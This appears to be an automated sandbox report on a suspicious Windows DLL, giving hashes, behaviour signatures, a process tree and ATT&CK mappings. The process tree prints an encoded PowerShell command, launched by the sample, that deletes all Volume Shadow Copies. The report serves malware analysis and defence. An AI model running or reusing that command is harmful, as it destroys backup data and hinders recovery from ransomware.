Analysis

  • max time kernel
    122s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 00:53

General

  • Target

    dc788044ba918463ddea34c1128c9f4da56e0778e582ae9abdeb15fdbcc57e80.dll

  • Size

    164KB

  • MD5

    99e2b579a030e251d4036db28e048c90

  • SHA1

    140dfe38d2fce298f5d5a4a8392494f30b7dea63

  • SHA256

    dc788044ba918463ddea34c1128c9f4da56e0778e582ae9abdeb15fdbcc57e80

  • SHA512

    74dd874dd47931b3de5336936aff1785d77a1f403fa121c61ff315b90140089dd4a47390661e9013f2a9552a405202ba2f672a4dcda660ec871379d7662c9915

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\dc788044ba918463ddea34c1128c9f4da56e0778e582ae9abdeb15fdbcc57e80.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1932
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\dc788044ba918463ddea34c1128c9f4da56e0778e582ae9abdeb15fdbcc57e80.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1116
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:656
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1204
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1492

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/656-56-0x000007FEFC151000-0x000007FEFC153000-memory.dmp
      Filesize

      8KB

    • memory/656-58-0x0000000002630000-0x0000000002632000-memory.dmp
      Filesize

      8KB

    • memory/656-59-0x0000000002632000-0x0000000002634000-memory.dmp
      Filesize

      8KB

    • memory/656-60-0x0000000002634000-0x0000000002637000-memory.dmp
      Filesize

      12KB

    • memory/656-57-0x000007FEF3360000-0x000007FEF3EBD000-memory.dmp
      Filesize

      11.4MB

    • memory/656-61-0x000000000263B000-0x000000000265A000-memory.dmp
      Filesize

      124KB

    • memory/1116-55-0x0000000076511000-0x0000000076513000-memory.dmp
      Filesize

      8KB